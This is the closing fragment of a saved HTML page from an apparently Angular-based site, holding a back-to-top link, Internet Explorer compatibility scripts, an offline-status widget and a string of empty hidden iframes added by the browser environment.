<a ng-click="$ctrl.goToTop()"><i class="icon icomoon-back-to-top"></i></a>
</div>
</div></go-to-top>
</div>
<!--[if IE 9]>
<script src="assets/ie/js/jQueryRotate.js"></script>
<script src="assets/ie/js/ie9.js"></script>
<script src="assets/ie/js/placeholders.js"></script>
<![endif]-->
<script type="text/javascript">
if(/MSIE \d|Trident.*rv:/.test(navigator.userAgent))
document.write('<script src="assets/ie/js/ie11.shim.js"><\/script>');
</script>
<div id="arcotuserdataDiv" display="none" style="display: none;"></div>
<div id="arcotuserdataDiv" display="none" style="display: none;"></div>
<div id="arcotuserdataDiv" display="none" style="display: none;"></div>
<div class="offline-ui offline-ui-up">
<div class="offline-ui-content"></div>
<a href="" class="offline-ui-retry"></a>
</div>
<iframe id="iframe461" style="width: 0px; height: 0px; border: medium none; display: none;" src="javascript: false;" title="ipmaap" __idm_frm__="8589940661" frameborder="0"></iframe><iframe id="iframe962" style="width: 0px; height: 0px; border: medium none; display: none;" src="javascript: false;" title="_pfrwv" __idm_frm__="8589940663" frameborder="0"></iframe><iframe style="visibility: hidden; width: 0px; height: 0px; border: medium none; display: none;" title="xeydry" __idm_frm__="8589940665" frameborder="0"></iframe><iframe style="visibility: hidden; width: 0px; height: 0px; border: medium none; display: none;" title="rcuypk" __idm_frm__="8589940667" frameborder="0"></iframe><iframe id="iframe353" style="width: 0px; height: 0px; border: medium none; display: none;" src="javascript: false;" title="bmhuzd" __idm_frm__="8589940681" frameborder="0"></iframe><iframe id="iframe142" style="width: 0px; height: 0px; border: medium none; display: none;" src="javascript: false;" title="c_moyc" __idm_frm__="8589940686" frameborder="0"></iframe><iframe id="iframe186" style="width: 0px; height: 0px; border: medium none; display: none;" src="javascript: false;" title="laci_c" __idm_frm__="8589940704" frameborder="0"></iframe><iframe id="iframe929" style="width: 0px; height: 0px; border: medium none; display: none;" src="javascript: false;" title="khwttp" __idm_frm__="8589940727" frameborder="0"></iframe><iframe id="iframe818" style="width: 0px; height: 0px; border: medium none; display: none;" src="javascript: false;" title="tnwsxn" __idm_frm__="8589940731" frameborder="0"></iframe><iframe id="iframe184" style="width: 0px; height: 0px; border: medium none; display: none;" src="javascript: false;" title="nzqyns" __idm_frm__="8589940735" frameborder="0"></iframe><iframe id="iframe897" style="width: 0px; height: 0px; border: medium none; display: none;" src="javascript: false;" title="gmerar" __idm_frm__="8589940738" frameborder="0"></iframe><iframe id="iframe295" style="width: 0px; height: 0px; border: medium none; display: none;" src="javascript: false;" title="yrk_cb" __idm_frm__="8589940743" frameborder="0"></iframe><iframe id="iframe317" style="width: 0px; height: 0px; border: medium none; display: none;" src="javascript: false;" title="bfymvk" __idm_frm__="8589940747" frameborder="0"></iframe><iframe id="iframe949" style="width: 0px; height: 0px; border: medium none; display: none;" src="javascript: false;" title="sbrvmx" __idm_frm__="8589940751" frameborder="0"></iframe>
</body>
</html>